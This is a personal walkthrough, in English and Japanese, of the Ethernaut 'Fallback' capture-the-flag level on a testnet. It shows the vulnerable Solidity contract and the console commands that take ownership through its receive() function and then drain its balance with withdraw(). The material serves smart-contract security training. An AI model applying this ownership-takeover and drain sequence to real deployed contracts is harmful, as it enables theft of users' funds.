🌴
Ethernaut-solution 1.Fallback
Ethernaut-solution
1.Fallback
- you claim ownership of the contract
- you reduce its balance to 0
learning
- How to send Ether when intracting with an ABI
- How to send Ether outside of the ABI
- Converting to and from wei/Ether units
- Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;//internal database how much Ether each address has and how many token each address has, how much money each address has
address payable public owner;
//constructor deployed it set as owner
constructor() public {//executed lifecycle of smartcontract first get deploy
owner = msg.sender; //send as owner
contributions[msg.sender] = 1000 * (1 ether); //mapping contribution set amount of Ether
}
//modifier can applied any function in a smart contract
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
//contributionsの構成にsecurityhallがある
//何回もfunction contribute()を起動して、senderがownerよりcontributionsがmany many timesの状況になればownerになれてしまう
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
// this function is fallback function /you wanna send money to A contract
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);//the best way attack become the owner
//contributions条件を満たすことが攻撃の最初の準備。satisfy second condition first.
owner = msg.sender;
}
}
solution
- 1.you claim ownership of the contract
contract...reference of our smart contract
n {methods: {…}, abi: Array(7), address: '0xc3309271b114BFdC7DaDCAd2C3ED67116A798624', transactionHash: undefined, constructor: ƒ, …}
contract.address...smartcontract address
'0xc3309271b114BFdC7DaDCAd2C3ED67116A798624'
player...my address
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
await contract.contributions(player)
o {negative: 0, words: Array(2), length: 1, red: null}
//Array 0: 0 。現状no valueなのがわかる
await contract.getContribution()
//0のまんま
//そこでcall contribute function! It's payable.value: 1 => 1 ETH
//1ETH send
contract.contribute({value: 1})
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
//1ETH sendでaccount valueが増えているか確認 key:value
await contract.contributions(player)
o {negative: 0, words: Array(2), length: 1, red: null}
//Array 0: 1 。
//ownerの確認
await contract.owner()
//this smartcontract own address
'0x9CB391dbcD447E645D6Cb55dE6ca23164130D008'
//playerの確認 = まだownerになってない
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
//sendTransaction is special function from web3.js
contract.sendTransaction({value: 1})
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
//transaction
⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0x3062639ee20c48140d527b324f283dfbca7b07bc2f42d1f01e907d3055b76177
⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0x3062639ee20c48140d527b324f283dfbca7b07bc2f42d1f01e907d3055b76177
//Transactionの成功によりcontractのownerが自分にchangeされているのを確認
await contract.owner()
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
- 2.you reduce its balance to 0
//balanceの確認
await getBalance(contract.address)
'0.000000000000000002'
//function withdrawをreturn
//transfer all balance our wallet!
contract.withdraw()
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0x4654244d4f2d9ece5c6cf290227532dda4960939ef760914f4e47cb9c7524c68
⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0x4654244d4f2d9ece5c6cf290227532dda4960939ef760914f4e47cb9c7524c68
//balanceが"0"になっているのを確認
await getBalance(contract.address)
'0'
Discussion